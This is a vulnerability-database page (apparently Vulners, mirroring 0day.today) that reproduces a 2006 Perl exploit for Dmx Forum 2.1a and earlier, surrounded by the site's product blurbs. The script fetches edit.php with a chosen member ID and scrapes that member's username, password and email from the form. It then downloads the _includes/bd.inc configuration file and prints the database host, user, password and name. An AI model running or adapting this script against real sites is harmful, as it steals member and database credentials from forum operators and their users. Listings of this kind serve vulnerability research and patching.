Lucene search
K

Dmx Forum <= 2.1a (edit.php) Remote Password Disclosure Exploit

🗓️ 05 Jun 2006 00:00:00Reported by DarkFigType 
zdt
 zdt
🔗 0day.today👁 44 Views

Dmx Forum <= 2.1a Remote Password Disclosur

Code
===============================================================
Dmx Forum <= 2.1a (edit.php) Remote Password Disclosure Exploit
===============================================================




#!/usr/bin/perl
#
# by DarkFig -- www.acid-root.new.fr
#
use LWP::Simple;

if ( !$ARGV[1] ) {
header();
print "\n| Usage: <url> <member_id> ----------------|";
print "\n+------------------------------------------+";
print "\n| Example: http://localhost/dmx/ 1   ------|";
end();
}

sub header {
print "\n+------------------------------------------+";
print "\n| Dmx Forum <= v2.1a SQL Injection Exploit |";
print "\n+------------------------------------------+";
}

sub end {
print "\n+------------------------------------------+\n";
exit;
}

$err0 = "\n[-]Can't connect to the host !";

header();
$url = "$ARGV[0]"."pops/edit.php?membre="."$ARGV[1]";
$req = get($url) or print "$err0";

if( $req =~ /input name="pseudo" type="text" id="pseudo" value="(.*?)"/ ){
print "\n [+]Username: $1";
$req =~ /input name="pwd" type="password" id="pwd" value="(.*?)"/ , print "\n [+]Password: $1";
$req =~ /input name="email" type="text" id="email" value="(.*?)"/ , print "\n [+]Email: $1";} else {print "\n[-]Part 1 failed !";}


$url2 = "$ARGV[0]"."_includes/bd.inc";
$req2 = get($url2) or print "$err0";
if($req2 =~ /host = "(.*?)";/)
{print "\n[+]DBHOST: $1";
$req2 =~ /user = "(.*?)";/;print "\n[+]DBUSER: $1";
$req2 =~ /pass = "(.*?)";/;print "\n[+]DBPASS: $1";
$req2 =~ /bdd = "(.*?)";/;print "\n[+]DBNAME: $1";
} else {print "\n[-]Part 2 failed !";}

end();



#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2006 00:00Current
7.1High risk
Vulners AI Score7.1
44